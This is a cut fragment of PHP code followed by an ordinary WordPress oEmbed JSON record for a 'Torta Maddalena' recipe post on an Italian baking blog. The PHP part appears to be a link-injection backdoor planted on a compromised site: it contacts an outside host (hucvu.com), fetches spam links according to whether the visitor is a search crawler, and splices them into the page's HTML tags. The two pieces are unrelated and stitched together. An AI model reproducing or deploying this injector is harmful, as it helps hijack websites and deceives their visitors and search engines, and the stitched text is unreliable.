if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://hucvu.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"version":"1.0","provider_name":"Pan Per Focaccia","provider_url":"https:\/\/www.panperfocacciablog.com","author_name":"Cristina Lionetti","author_url":"https:\/\/www.panperfocacciablog.com\/author\/panperfocacciablog","title":"Torta Maddalena","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\"><a href=\"https:\/\/www.panperfocacciablog.com\/2011\/08\/torta-maddalena.html\">Torta Maddalena<\/a><\/blockquote>\n<script type='text\/javascript'>\n<!--\/\/--><![CDATA[\/\/><!--\n\t\t\/*! This file is auto-generated *\/\n\t\t!function(d,l){\"use strict\";var e=!1,n=!1;if(l.querySelector)if(d.addEventListener)e=!0;if(d.wp=d.wp||{},!d.wp.receiveEmbedMessage)if(d.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var r,i,a,s=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),n=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),o=new RegExp(\"^https?:$\",\"i\"),c=0;c<n.length;c++)n[c].style.display=\"none\";for(c=0;c<s.length;c++)if(r=s[c],e.source===r.contentWindow){if(r.removeAttribute(\"style\"),\"height\"===t.message){if(1e3<(a=parseInt(t.value,10)))a=1e3;else if(~~a<200)a=200;r.height=a}if(\"link\"===t.message)if(i=l.createElement(\"a\"),a=l.createElement(\"a\"),i.href=r.getAttribute(\"src\"),a.href=t.value,o.test(a.protocol))if(a.host===i.host)if(l.activeElement===r)d.top.location.href=t.value}}},e)d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",t,!1),d.addEventListener(\"load\",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appVersion.indexOf(\"MSIE 10\"),i=!!navigator.userAgent.match(\/Trident.*rv:11\\.\/),a=l.querySelectorAll(\"iframe.wp-embedded-content\"),s=0;s<a.length;s++){if(!(e=a[s]).getAttribute(\"data-secret\"))t=Math.random().toString(36).substr(2,10),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t);if(r||i)(t=e.cloneNode(!0)).removeAttribute(\"security\"),e.parentNode.replaceChild(t,e)}}}}(window,document);\n\/\/--><!]]>\n<\/script><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.panperfocacciablog.com\/2011\/08\/torta-maddalena.html\/embed\" width=\"600\" height=\"338\" title=\"“Torta Maddalena” — Pan Per Focaccia\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe>","thumbnail_url":"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2011\/08\/Torta-maddalena-1.jpg","thumbnail_width":600,"thumbnail_height":461}